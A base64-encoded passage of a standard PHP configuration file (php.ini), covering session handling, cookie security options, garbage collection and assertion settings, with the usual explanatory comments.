NjYWxlDQpiY21hdGguc2NhbGUgPSAwDQoNClticm93c2NhcF0NCjsgaHR0cDovL3BocC5uZXQvYnJvd3NjYXANCjticm93c2NhcCA9IGV4dHJhL2Jyb3dzY2FwLmluaQ0KDQpbU2Vzc2lvbl0NCjsgSGFuZGxlciB1c2VkIHRvIHN0b3JlL3JldHJpZXZlIGRhdGEuDQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uc2F2ZS1oYW5kbGVyDQpzZXNzaW9uLnNhdmVfaGFuZGxlciA9IGZpbGVzDQoNCjsgQXJndW1lbnQgcGFzc2VkIHRvIHNhdmVfaGFuZGxlci4gIEluIHRoZSBjYXNlIG9mIGZpbGVzLCB0aGlzIGlzIHRoZSBwYXRoDQo7IHdoZXJlIGRhdGEgZmlsZXMgYXJlIHN0b3JlZC4gTm90ZTogV2luZG93cyB1c2VycyBoYXZlIHRvIGNoYW5nZSB0aGlzDQo7IHZhcmlhYmxlIGluIG9yZGVyIHRvIHVzZSBQSFAmYW1wO2Fwb3M7cyBzZXNzaW9uIGZ1bmN0aW9ucy4NCjsNCjsgVGhlIHBhdGggY2FuIGJlIGRlZmluZWQgYXM6DQo7DQo7ICAgICBzZXNzaW9uLnNhdmVfcGF0aCA9ICZhbXA7cXVvdDtOOy9wYXRoJmFtcDtxdW90Ow0KOw0KOyB3aGVyZSBOIGlzIGFuIGludGVnZXIuICBJbnN0ZWFkIG9mIHN0b3JpbmcgYWxsIHRoZSBzZXNzaW9uIGZpbGVzIGluDQo7IC9wYXRoLCB3aGF0IHRoaXMgd2lsbCBkbyBpcyB1c2Ugc3ViZGlyZWN0b3JpZXMgTi1sZXZlbHMgZGVlcCwgYW5kDQo7IHN0b3JlIHRoZSBzZXNzaW9uIGRhdGEgaW4gdGhvc2UgZGlyZWN0b3JpZXMuICBUaGlzIGlzIHVzZWZ1bCBpZg0KOyB5b3VyIE9TIGhhcyBwcm9ibGVtcyB3aXRoIG1hbnkgZmlsZXMgaW4gb25lIGRpcmVjdG9yeSwgYW5kIGlzDQo7IGEgbW9yZSBlZmZpY2llbnQgbGF5b3V0IGZvciBzZXJ2ZXJzIHRoYXQgaGFuZGxlIG1hbnkgc2Vzc2lvbnMuDQo7DQo7IE5PVEUgMTogUEhQIHdpbGwgbm90IGNyZWF0ZSB0aGlzIGRpcmVjdG9yeSBzdHJ1Y3R1cmUgYXV0b21hdGljYWxseS4NCjsgICAgICAgICBZb3UgY2FuIHVzZSB0aGUgc2NyaXB0IGluIHRoZSBleHQvc2Vzc2lvbiBkaXIgZm9yIHRoYXQgcHVycG9zZS4NCjsgTk9URSAyOiBTZWUgdGhlIHNlY3Rpb24gb24gZ2FyYmFnZSBjb2xsZWN0aW9uIGJlbG93IGlmIHlvdSBjaG9vc2UgdG8NCjsgICAgICAgICB1c2Ugc3ViZGlyZWN0b3JpZXMgZm9yIHNlc3Npb24gc3RvcmFnZQ0KOw0KOyBUaGUgZmlsZSBzdG9yYWdlIG1vZHVsZSBjcmVhdGVzIGZpbGVzIHVzaW5nIG1vZGUgNjAwIGJ5IGRlZmF1bHQuDQo7IFlvdSBjYW4gY2hhbmdlIHRoYXQgYnkgdXNpbmcNCjsNCjsgICAgIHNlc3Npb24uc2F2ZV9wYXRoID0gJmFtcDtxdW90O047TU9ERTsvcGF0aCZhbXA7cXVvdDsNCjsNCjsgd2hlcmUgTU9ERSBpcyB0aGUgb2N0YWwgcmVwcmVzZW50YXRpb24gb2YgdGhlIG1vZGUuIE5vdGUgdGhhdCB0aGlzDQo7IGRvZXMgbm90IG92ZXJ3cml0ZSB0aGUgcHJvY2VzcyZhbXA7YXBvcztzIHVtYXNrLg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnNhdmUtcGF0aA0KO3Nlc3Npb24uc2F2ZV9wYXRoID0gJmFtcDtxdW90Oy90bXAmYW1wO3F1b3Q7DQoNCjsgV2hldGhlciB0byB1c2Ugc3RyaWN0IHNlc3Npb24gbW9kZS4NCjsgU3RyaWN0IHNlc3Npb24gbW9kZSBkb2VzIG5vdCBhY2NlcHQgYW4gdW5pbml0aWFsaXplZCBzZXNzaW9uIElELCBhbmQNCjsgcmVnZW5lcmF0ZXMgdGhlIHNlc3Npb24gSUQgaWYgdGhlIGJyb3dzZXIgc2VuZHMgYW4gdW5pbml0aWFsaXplZCBzZXNzaW9uIElELg0KOyBTdHJpY3QgbW9kZSBwcm90ZWN0cyBhcHBsaWNhdGlvbnMgZnJvbSBzZXNzaW9uIGZpeGF0aW9uIHZpYSBhIHNlc3Npb24gYWRvcHRpb24NCjsgdnVsbmVyYWJpbGl0eS4gSXQgaXMgZGlzYWJsZWQgYnkgZGVmYXVsdCBmb3IgbWF4aW11bSBjb21wYXRpYmlsaXR5LCBidXQNCjsgZW5hYmxpbmcgaXQgaXMgZW5jb3VyYWdlZC4NCjsgaHR0cHM6Ly93aWtpLnBocC5uZXQvcmZjL3N0cmljdF9zZXNzaW9ucw0Kc2Vzc2lvbi51c2Vfc3RyaWN0X21vZGUgPSAwDQoNCjsgV2hldGhlciB0byB1c2UgY29va2llcy4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51c2UtY29va2llcw0Kc2Vzc2lvbi51c2VfY29va2llcyA9IDENCg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmNvb2tpZS1zZWN1cmUNCjtzZXNzaW9uLmNvb2tpZV9zZWN1cmUgPQ0KDQo7IFRoaXMgb3B0aW9uIGZvcmNlcyBQSFAgdG8gZmV0Y2ggYW5kIHVzZSBhIGNvb2tpZSBmb3Igc3RvcmluZyBhbmQgbWFpbnRhaW5pbmcNCjsgdGhlIHNlc3Npb24gaWQuIFdlIGVuY291cmFnZSB0aGlzIG9wZXJhdGlvbiBhcyBpdCZhbXA7YXBvcztzIHZlcnkgaGVscGZ1bCBpbiBjb21iYXRpbmcNCjsgc2Vzc2lvbiBoaWphY2tpbmcgd2hlbiBub3Qgc3BlY2lmeWluZyBhbmQgbWFuYWdpbmcgeW91ciBvd24gc2Vzc2lvbiBpZC4gSXQgaXMNCjsgbm90IHRoZSBiZS1hbGwgYW5kIGVuZC1hbGwgb2Ygc2Vzc2lvbiBoaWphY2tpbmcgZGVmZW5zZSwgYnV0IGl0JmFtcDthcG9zO3MgYSBnb29kIHN0YXJ0Lg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVzZS1vbmx5LWNvb2tpZXMNCnNlc3Npb24udXNlX29ubHlfY29va2llcyA9IDENCg0KOyBOYW1lIG9mIHRoZSBzZXNzaW9uICh1c2VkIGFzIGNvb2tpZSBuYW1lKS4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5uYW1lDQpzZXNzaW9uLm5hbWUgPSBQSFBTRVNTSUQNCg0KOyBJbml0aWFsaXplIHNlc3Npb24gb24gcmVxdWVzdCBzdGFydHVwLg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmF1dG8tc3RhcnQNCnNlc3Npb24uYXV0b19zdGFydCA9IDANCg0KOyBMaWZldGltZSBpbiBzZWNvbmRzIG9mIGNvb2tpZSBvciwgaWYgMCwgdW50aWwgYnJvd3NlciBpcyByZXN0YXJ0ZWQuDQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY29va2llLWxpZmV0aW1lDQpzZXNzaW9uLmNvb2tpZV9saWZldGltZSA9IDANCg0KOyBUaGUgcGF0aCBmb3Igd2hpY2ggdGhlIGNvb2tpZSBpcyB2YWxpZC4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5jb29raWUtcGF0aA0Kc2Vzc2lvbi5jb29raWVfcGF0aCA9IC8NCg0KOyBUaGUgZG9tYWluIGZvciB3aGljaCB0aGUgY29va2llIGlzIHZhbGlkLg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmNvb2tpZS1kb21haW4NCnNlc3Npb24uY29va2llX2RvbWFpbiA9DQoNCjsgV2hldGhlciBvciBub3QgdG8gYWRkIHRoZSBodHRwT25seSBmbGFnIHRvIHRoZSBjb29raWUsIHdoaWNoIG1ha2VzIGl0DQo7IGluYWNjZXNzaWJsZSB0byBicm93c2VyIHNjcmlwdGluZyBsYW5ndWFnZXMgc3VjaCBhcyBKYXZhU2NyaXB0Lg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmNvb2tpZS1odHRwb25seQ0Kc2Vzc2lvbi5jb29raWVfaHR0cG9ubHkgPQ0KDQo7IEFkZCBTYW1lU2l0ZSBhdHRyaWJ1dGUgdG8gY29va2llIHRvIGhlbHAgbWl0aWdhdGUgQ3Jvc3MtU2l0ZSBSZXF1ZXN0IEZvcmdlcnkgKENTUkYvWFNSRikNCjsgQ3VycmVudCB2YWxpZCB2YWx1ZXMgYXJlICZhbXA7cXVvdDtTdHJpY3QmYW1wO3F1b3Q7LCAmYW1wO3F1b3Q7TGF4JmFtcDtxdW90OyBvciAmYW1wO3F1b3Q7Tm9uZSZhbXA7cXVvdDsuIFdoZW4gdXNpbmcgJmFtcDtxdW90O05vbmUmYW1wO3F1b3Q7LA0KOyBtYWtlIHN1cmUgdG8gaW5jbHVkZSB0aGUgcXVvdGVzLCBhcyBgbm9uZWAgaXMgaW50ZXJwcmV0ZWQgbGlrZSBgZmFsc2VgIGluIGluaSBmaWxlcy4NCjsgaHR0cHM6Ly90b29scy5pZXRmLm9yZy9odG1sL2RyYWZ0LXdlc3QtZmlyc3QtcGFydHktY29va2llcy0wNw0Kc2Vzc2lvbi5jb29raWVfc2FtZXNpdGUgPQ0KDQo7IEhhbmRsZXIgdXNlZCB0byBzZXJpYWxpemUgZGF0YS4gcGhwIGlzIHRoZSBzdGFuZGFyZCBzZXJpYWxpemVyIG9mIFBIUC4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5zZXJpYWxpemUtaGFuZGxlcg0Kc2Vzc2lvbi5zZXJpYWxpemVfaGFuZGxlciA9IHBocA0KDQo7IERlZmluZXMgdGhlIHByb2JhYmlsaXR5IHRoYXQgdGhlICZhbXA7YXBvcztnYXJiYWdlIGNvbGxlY3Rpb24mYW1wO2Fwb3M7IHByb2Nlc3MgaXMgc3RhcnRlZCBvbiBldmVyeQ0KOyBzZXNzaW9uIGluaXRpYWxpemF0aW9uLiBUaGUgcHJvYmFiaWxpdHkgaXMgY2FsY3VsYXRlZCBieSB1c2luZyBnY19wcm9iYWJpbGl0eS9nY19kaXZpc29yLA0KOyBlLmcuIDEvMTAwIG1lYW5zIHRoZXJlIGlzIGEgMSUgY2hhbmNlIHRoYXQgdGhlIEdDIHByb2Nlc3Mgc3RhcnRzIG9uIGVhY2ggcmVxdWVzdC4NCjsgRGVmYXVsdCBWYWx1ZTogMQ0KOyBEZXZlbG9wbWVudCBWYWx1ZTogMQ0KOyBQcm9kdWN0aW9uIFZhbHVlOiAxDQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uZ2MtcHJvYmFiaWxpdHkNCnNlc3Npb24uZ2NfcHJvYmFiaWxpdHkgPSAxDQoNCjsgRGVmaW5lcyB0aGUgcHJvYmFiaWxpdHkgdGhhdCB0aGUgJmFtcDthcG9zO2dhcmJhZ2UgY29sbGVjdGlvbiZhbXA7YXBvczsgcHJvY2VzcyBpcyBzdGFydGVkIG9uIGV2ZXJ5DQo7IHNlc3Npb24gaW5pdGlhbGl6YXRpb24uIFRoZSBwcm9iYWJpbGl0eSBpcyBjYWxjdWxhdGVkIGJ5IHVzaW5nIGdjX3Byb2JhYmlsaXR5L2djX2Rpdmlzb3IsDQo7IGUuZy4gMS8xMDAgbWVhbnMgdGhlcmUgaXMgYSAxJSBjaGFuY2UgdGhhdCB0aGUgR0MgcHJvY2VzcyBzdGFydHMgb24gZWFjaCByZXF1ZXN0Lg0KOyBGb3IgaGlnaCB2b2x1bWUgcHJvZHVjdGlvbiBzZXJ2ZXJzLCB1c2luZyBhIHZhbHVlIG9mIDEwMDAgaXMgYSBtb3JlIGVmZmljaWVudCBhcHByb2FjaC4NCjsgRGVmYXVsdCBWYWx1ZTogMTAwDQo7IERldmVsb3BtZW50IFZhbHVlOiAxMDAwDQo7IFByb2R1Y3Rpb24gVmFsdWU6IDEwMDANCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5nYy1kaXZpc29yDQpzZXNzaW9uLmdjX2Rpdmlzb3IgPSAxMDAwDQoNCjsgQWZ0ZXIgdGhpcyBudW1iZXIgb2Ygc2Vjb25kcywgc3RvcmVkIGRhdGEgd2lsbCBiZSBzZWVuIGFzICZhbXA7YXBvcztnYXJiYWdlJmFtcDthcG9zOyBhbmQNCjsgY2xlYW5lZCB1cCBieSB0aGUgZ2FyYmFnZSBjb2xsZWN0aW9uIHByb2Nlc3MuDQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uZ2MtbWF4bGlmZXRpbWUNCnNlc3Npb24uZ2NfbWF4bGlmZXRpbWUgPSAxNDQwDQoNCjsgTk9URTogSWYgeW91IGFyZSB1c2luZyB0aGUgc3ViZGlyZWN0b3J5IG9wdGlvbiBmb3Igc3RvcmluZyBzZXNzaW9uIGZpbGVzDQo7ICAgICAgIChzZWUgc2Vzc2lvbi5zYXZlX3BhdGggYWJvdmUpLCB0aGVuIGdhcmJhZ2UgY29sbGVjdGlvbiBkb2VzICpub3QqDQo7ICAgICAgIGhhcHBlbiBhdXRvbWF0aWNhbGx5LiAgWW91IHdpbGwgbmVlZCB0byBkbyB5b3VyIG93biBnYXJiYWdlDQo7ICAgICAgIGNvbGxlY3Rpb24gdGhyb3VnaCBhIHNoZWxsIHNjcmlwdCwgY3JvbiBlbnRyeSwgb3Igc29tZSBvdGhlciBtZXRob2QuDQo7ICAgICAgIEZvciBleGFtcGxlLCB0aGUgZm9sbG93aW5nIHNjcmlwdCBpcyB0aGUgZXF1aXZhbGVudCBvZiBzZXR0aW5nDQo7ICAgICAgIHNlc3Npb24uZ2NfbWF4bGlmZXRpbWUgdG8gMTQ0MCAoMTQ0MCBzZWNvbmRzID0gMjQgbWludXRlcyk6DQo7ICAgICAgICAgIGZpbmQgL3BhdGgvdG8vc2Vzc2lvbnMgLWNtaW4gKzI0IC10eXBlIGYgfCB4YXJncyBybQ0KDQo7IENoZWNrIEhUVFAgUmVmZXJlciB0byBpbnZhbGlkYXRlIGV4dGVybmFsbHkgc3RvcmVkIFVSTHMgY29udGFpbmluZyBpZHMuDQo7IEhUVFBfUkVGRVJFUiBoYXMgdG8gY29udGFpbiB0aGlzIHN1YnN0cmluZyBmb3IgdGhlIHNlc3Npb24gdG8gYmUNCjsgY29uc2lkZXJlZCBhcyB2YWxpZC4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5yZWZlcmVyLWNoZWNrDQpzZXNzaW9uLnJlZmVyZXJfY2hlY2sgPQ0KDQo7IFNldCB0byB7bm9jYWNoZSxwcml2YXRlLHB1YmxpYyx9IHRvIGRldGVybWluZSBIVFRQIGNhY2hpbmcgYXNwZWN0cw0KOyBvciBsZWF2ZSB0aGlzIGVtcHR5IHRvIGF2b2lkIHNlbmRpbmcgYW50aS1jYWNoaW5nIGhlYWRlcnMuDQo7IGh0dHA6Ly9waHAubmV0L3Nlc3Npb24uY2FjaGUtbGltaXRlcg0Kc2Vzc2lvbi5jYWNoZV9saW1pdGVyID0gbm9jYWNoZQ0KDQo7IERvY3VtZW50IGV4cGlyZXMgYWZ0ZXIgbiBtaW51dGVzLg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLmNhY2hlLWV4cGlyZQ0Kc2Vzc2lvbi5jYWNoZV9leHBpcmUgPSAxODANCg0KOyB0cmFucyBzaWQgc3VwcG9ydCBpcyBkaXNhYmxlZCBieSBkZWZhdWx0Lg0KOyBVc2Ugb2YgdHJhbnMgc2lkIG1heSByaXNrIHlvdXIgdXNlcnMmYW1wO2Fwb3M7IHNlY3VyaXR5Lg0KOyBVc2UgdGhpcyBvcHRpb24gd2l0aCBjYXV0aW9uLg0KOyAtIFVzZXIgbWF5IHNlbmQgVVJMIGNvbnRhaW5zIGFjdGl2ZSBzZXNzaW9uIElEDQo7ICAgdG8gb3RoZXIgcGVyc29uIHZpYS4gZW1haWwvaXJjL2V0Yy4NCjsgLSBVUkwgdGhhdCBjb250YWlucyBhY3RpdmUgc2Vzc2lvbiBJRCBtYXkgYmUgc3RvcmVkDQo7ICAgaW4gcHVibGljbHkgYWNjZXNzaWJsZSBjb21wdXRlci4NCjsgLSBVc2VyIG1heSBhY2Nlc3MgeW91ciBzaXRlIHdpdGggdGhlIHNhbWUgc2Vzc2lvbiBJRA0KOyAgIGFsd2F5cyB1c2luZyBVUkwgc3RvcmVkIGluIGJyb3dzZXImYW1wO2Fwb3M7cyBoaXN0b3J5IG9yIGJvb2ttYXJrcy4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51c2UtdHJhbnMtc2lkDQpzZXNzaW9uLnVzZV90cmFuc19zaWQgPSAwDQoNCjsgU2V0IHNlc3Npb24gSUQgY2hhcmFjdGVyIGxlbmd0aC4gVGhpcyB2YWx1ZSBjb3VsZCBiZSBiZXR3ZWVuIDIyIHRvIDI1Ni4NCjsgU2hvcnRlciBsZW5ndGggdGhhbiBkZWZhdWx0IGlzIHN1cHBvcnRlZCBvbmx5IGZvciBjb21wYXRpYmlsaXR5IHJlYXNvbi4NCjsgVXNlcnMgc2hvdWxkIHVzZSAzMiBvciBtb3JlIGNoYXJzLg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnNpZC1sZW5ndGgNCjsgRGVmYXVsdCBWYWx1ZTogMzINCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDI2DQo7IFByb2R1Y3Rpb24gVmFsdWU6IDI2DQpzZXNzaW9uLnNpZF9sZW5ndGggPSAyNg0KDQo7IFRoZSBVUkwgcmV3cml0ZXIgd2lsbCBsb29rIGZvciBVUkxzIGluIGEgZGVmaW5lZCBzZXQgb2YgSFRNTCB0YWdzLg0KOyAmYW1wO2x0O2Zvcm0mYW1wO2d0OyBpcyBzcGVjaWFsOyBpZiB5b3UgaW5jbHVkZSB0aGVtIGhlcmUsIHRoZSByZXdyaXRlciB3aWxsDQo7IGFkZCBhIGhpZGRlbiAmYW1wO2x0O2lucHV0JmFtcDtndDsgZmllbGQgd2l0aCB0aGUgaW5mbyB3aGljaCBpcyBvdGhlcndpc2UgYXBwZW5kZWQNCjsgdG8gVVJMcy4gJmFtcDtsdDtmb3JtJmFtcDtndDsgdGFnJmFtcDthcG9zO3MgYWN0aW9uIGF0dHJpYnV0ZSBVUkwgd2lsbCBub3QgYmUgbW9kaWZpZWQNCjsgdW5sZXNzIGl0IGlzIHNwZWNpZmllZC4NCjsgTm90ZSB0aGF0IGFsbCB2YWxpZCBlbnRyaWVzIHJlcXVpcmUgYSAmYW1wO3F1b3Q7PSZhbXA7cXVvdDssIGV2ZW4gaWYgbm8gdmFsdWUgZm9sbG93cy4NCjsgRGVmYXVsdCBWYWx1ZTogJmFtcDtxdW90O2E9aHJlZixhcmVhPWhyZWYsZnJhbWU9c3JjLGZvcm09JmFtcDtxdW90Ow0KOyBEZXZlbG9wbWVudCBWYWx1ZTogJmFtcDtxdW90O2E9aHJlZixhcmVhPWhyZWYsZnJhbWU9c3JjLGZvcm09JmFtcDtxdW90Ow0KOyBQcm9kdWN0aW9uIFZhbHVlOiAmYW1wO3F1b3Q7YT1ocmVmLGFyZWE9aHJlZixmcmFtZT1zcmMsZm9ybT0mYW1wO3F1b3Q7DQo7IGh0dHA6Ly9waHAubmV0L3VybC1yZXdyaXRlci50YWdzDQpzZXNzaW9uLnRyYW5zX3NpZF90YWdzID0gJmFtcDtxdW90O2E9aHJlZixhcmVhPWhyZWYsZnJhbWU9c3JjLGZvcm09JmFtcDtxdW90Ow0KDQo7IFVSTCByZXdyaXRlciBkb2VzIG5vdCByZXdyaXRlIGFic29sdXRlIFVSTHMgYnkgZGVmYXVsdC4NCjsgVG8gZW5hYmxlIHJld3JpdGVzIGZvciBhYnNvbHV0ZSBwYXRocywgdGFyZ2V0IGhvc3RzIG11c3QgYmUgc3BlY2lmaWVkDQo7IGF0IFJVTlRJTUUuIGkuZS4gdXNlIGluaV9zZXQoKQ0KOyAmYW1wO2x0O2Zvcm0mYW1wO2d0OyB0YWdzIGlzIHNwZWNpYWwuIFBIUCB3aWxsIGNoZWNrIGFjdGlvbiBhdHRyaWJ1dGUmYW1wO2Fwb3M7cyBVUkwgcmVnYXJkbGVzcw0KOyBvZiBzZXNzaW9uLnRyYW5zX3NpZF90YWdzIHNldHRpbmcuDQo7IElmIG5vIGhvc3QgaXMgZGVmaW5lZCwgSFRUUF9IT1NUIHdpbGwgYmUgdXNlZCBmb3IgYWxsb3dlZCBob3N0Lg0KOyBFeGFtcGxlIHZhbHVlOiBwaHAubmV0LHd3dy5waHAubmV0LHdpa2kucGhwLm5ldA0KOyBVc2UgJmFtcDtxdW90OywmYW1wO3F1b3Q7IGZvciBtdWx0aXBsZSBob3N0cy4gTm8gc3BhY2VzIGFyZSBhbGxvd2VkLg0KOyBEZWZhdWx0IFZhbHVlOiAmYW1wO3F1b3Q7JmFtcDtxdW90Ow0KOyBEZXZlbG9wbWVudCBWYWx1ZTogJmFtcDtxdW90OyZhbXA7cXVvdDsNCjsgUHJvZHVjdGlvbiBWYWx1ZTogJmFtcDtxdW90OyZhbXA7cXVvdDsNCjtzZXNzaW9uLnRyYW5zX3NpZF9ob3N0cz0mYW1wO3F1b3Q7JmFtcDtxdW90Ow0KDQo7IERlZmluZSBob3cgbWFueSBiaXRzIGFyZSBzdG9yZWQgaW4gZWFjaCBjaGFyYWN0ZXIgd2hlbiBjb252ZXJ0aW5nDQo7IHRoZSBiaW5hcnkgaGFzaCBkYXRhIHRvIHNvbWV0aGluZyByZWFkYWJsZS4NCjsgUG9zc2libGUgdmFsdWVzOg0KOyAgIDQgICg0IGJpdHM6IDAtOSwgYS1mKQ0KOyAgIDUgICg1IGJpdHM6IDAtOSwgYS12KQ0KOyAgIDYgICg2IGJpdHM6IDAtOSwgYS16LCBBLVosICZhbXA7cXVvdDstJmFtcDtxdW90OywgJmFtcDtxdW90OywmYW1wO3F1b3Q7KQ0KOyBEZWZhdWx0IFZhbHVlOiA0DQo7IERldmVsb3BtZW50IFZhbHVlOiA1DQo7IFByb2R1Y3Rpb24gVmFsdWU6IDUNCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5oYXNoLWJpdHMtcGVyLWNoYXJhY3Rlcg0Kc2Vzc2lvbi5zaWRfYml0c19wZXJfY2hhcmFjdGVyID0gNQ0KDQo7IEVuYWJsZSB1cGxvYWQgcHJvZ3Jlc3MgdHJhY2tpbmcgaW4gJF9TRVNTSU9ODQo7IERlZmF1bHQgVmFsdWU6IE9uDQo7IERldmVsb3BtZW50IFZhbHVlOiBPbg0KOyBQcm9kdWN0aW9uIFZhbHVlOiBPbg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5lbmFibGVkDQo7c2Vzc2lvbi51cGxvYWRfcHJvZ3Jlc3MuZW5hYmxlZCA9IE9uDQoNCjsgQ2xlYW51cCB0aGUgcHJvZ3Jlc3MgaW5mb3JtYXRpb24gYXMgc29vbiBhcyBhbGwgUE9TVCBkYXRhIGhhcyBiZWVuIHJlYWQNCjsgKGkuZS4gdXBsb2FkIGNvbXBsZXRlZCkuDQo7IERlZmF1bHQgVmFsdWU6IE9uDQo7IERldmVsb3BtZW50IFZhbHVlOiBPbg0KOyBQcm9kdWN0aW9uIFZhbHVlOiBPbg0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5jbGVhbnVwDQo7c2Vzc2lvbi51cGxvYWRfcHJvZ3Jlc3MuY2xlYW51cCA9IE9uDQoNCjsgQSBwcmVmaXggdXNlZCBmb3IgdGhlIHVwbG9hZCBwcm9ncmVzcyBrZXkgaW4gJF9TRVNTSU9ODQo7IERlZmF1bHQgVmFsdWU6ICZhbXA7cXVvdDt1cGxvYWRfcHJvZ3Jlc3NfJmFtcDtxdW90Ow0KOyBEZXZlbG9wbWVudCBWYWx1ZTogJmFtcDtxdW90O3VwbG9hZF9wcm9ncmVzc18mYW1wO3F1b3Q7DQo7IFByb2R1Y3Rpb24gVmFsdWU6ICZhbXA7cXVvdDt1cGxvYWRfcHJvZ3Jlc3NfJmFtcDtxdW90Ow0KOyBodHRwOi8vcGhwLm5ldC9zZXNzaW9uLnVwbG9hZC1wcm9ncmVzcy5wcmVmaXgNCjtzZXNzaW9uLnVwbG9hZF9wcm9ncmVzcy5wcmVmaXggPSAmYW1wO3F1b3Q7dXBsb2FkX3Byb2dyZXNzXyZhbXA7cXVvdDsNCg0KOyBUaGUgaW5kZXggbmFtZSAoY29uY2F0ZW5hdGVkIHdpdGggdGhlIHByZWZpeCkgaW4gJF9TRVNTSU9ODQo7IGNvbnRhaW5pbmcgdGhlIHVwbG9hZCBwcm9ncmVzcyBpbmZvcm1hdGlvbg0KOyBEZWZhdWx0IFZhbHVlOiAmYW1wO3F1b3Q7UEhQX1NFU1NJT05fVVBMT0FEX1BST0dSRVNTJmFtcDtxdW90Ow0KOyBEZXZlbG9wbWVudCBWYWx1ZTogJmFtcDtxdW90O1BIUF9TRVNTSU9OX1VQTE9BRF9QUk9HUkVTUyZhbXA7cXVvdDsNCjsgUHJvZHVjdGlvbiBWYWx1ZTogJmFtcDtxdW90O1BIUF9TRVNTSU9OX1VQTE9BRF9QUk9HUkVTUyZhbXA7cXVvdDsNCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51cGxvYWQtcHJvZ3Jlc3MubmFtZQ0KO3Nlc3Npb24udXBsb2FkX3Byb2dyZXNzLm5hbWUgPSAmYW1wO3F1b3Q7UEhQX1NFU1NJT05fVVBMT0FEX1BST0dSRVNTJmFtcDtxdW90Ow0KDQo7IEhvdyBmcmVxdWVudGx5IHRoZSB1cGxvYWQgcHJvZ3Jlc3Mgc2hvdWxkIGJlIHVwZGF0ZWQuDQo7IEdpdmVuIGVpdGhlciBpbiBwZXJjZW50YWdlcyAocGVyLWZpbGUpLCBvciBpbiBieXRlcw0KOyBEZWZhdWx0IFZhbHVlOiAmYW1wO3F1b3Q7MSUmYW1wO3F1b3Q7DQo7IERldmVsb3BtZW50IFZhbHVlOiAmYW1wO3F1b3Q7MSUmYW1wO3F1b3Q7DQo7IFByb2R1Y3Rpb24gVmFsdWU6ICZhbXA7cXVvdDsxJSZhbXA7cXVvdDsNCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51cGxvYWQtcHJvZ3Jlc3MuZnJlcQ0KO3Nlc3Npb24udXBsb2FkX3Byb2dyZXNzLmZyZXEgPSAgJmFtcDtxdW90OzElJmFtcDtxdW90Ow0KDQo7IFRoZSBtaW5pbXVtIGRlbGF5IGJldHdlZW4gdXBkYXRlcywgaW4gc2Vjb25kcw0KOyBEZWZhdWx0IFZhbHVlOiAxDQo7IERldmVsb3BtZW50IFZhbHVlOiAxDQo7IFByb2R1Y3Rpb24gVmFsdWU6IDENCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi51cGxvYWQtcHJvZ3Jlc3MubWluLWZyZXENCjtzZXNzaW9uLnVwbG9hZF9wcm9ncmVzcy5taW5fZnJlcSA9ICZhbXA7cXVvdDsxJmFtcDtxdW90Ow0KDQo7IE9ubHkgd3JpdGUgc2Vzc2lvbiBkYXRhIHdoZW4gc2Vzc2lvbiBkYXRhIGlzIGNoYW5nZWQuIEVuYWJsZWQgYnkgZGVmYXVsdC4NCjsgaHR0cDovL3BocC5uZXQvc2Vzc2lvbi5sYXp5LXdyaXRlDQo7c2Vzc2lvbi5sYXp5X3dyaXRlID0gT24NCg0KW0Fzc2VydGlvbl0NCjsgU3dpdGNoIHdoZXRoZXIgdG8gY29tcGlsZSBhc3NlcnRpb25zIGF0IGFsbCAodG8gaGF2ZSBubyBvdmVyaGVhZCBhdCBydW4tdGltZSkNCjsgLTE6IERvIG5vdCBjb21waWxlIGF0IGFsbA0KOyAgMDogSnVtcCBvdmVyIGFzc2VydGlvbiBhdCBydW4tdGltZQ0KOyAgMTogRXhlY3V0ZSBhc3NlcnRpb25zDQo7IENoYW5naW5nIGZyb20gb3IgdG8gYSBuZWdhdGl2ZSB2YWx1ZSBpcyBvbmx5IHBvc3NpYmxlIGluIHBocC5pbmkhIChGb3IgdHVybmluZyBhc3NlcnRpb25zIG9uIGFuZCBvZmYgYXQgcnVuLXRpbWUsIHNlZSBhc3NlcnQuYWN0aXZlLCB3aGVuIHplbmQuYXNzZXJ0aW9ucyA9IDEpDQo7IERlZmF1bHQgVmFsdWU6IDENCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDENCjsgUHJvZHVjdGlvbiBWYWx1ZTogLTENCjsgaHR0cDovL3BocC5uZXQvemVuZC5hc3NlcnRpb25zDQp6ZW5kLmFzc2VydGlvbnMgPSAxDQoNCjsgQXNzZXJ0KGV4cHIpOyBhY3RpdmUgYnkgZGVmYXVsdC4NCjsgaHR0cDovL3BocC5uZXQvYXNzZXJ0LmFjdGl2ZQ0KO2Fzc2VydC5hY3RpdmUgPSBPbg0KDQo7IFRocm93IGFuIEFzc2VydGlvbkVycm9yIG9uIGZhaWxlZCBhc3NlcnRpb25zDQo7IGh0dHA6Ly9waHAubmV0L2Fzc2VydC5leGNlcHRpb24NCjthc3NlcnQuZXhjZXB0aW9uID0gT24NCg0KOyBJc3N1ZSBhIFBIUCB3YXJuaW5nIGZvciBlYWNoIGZhaWxlZCBhc3NlcnRpb24uIChPdmVycmlkZ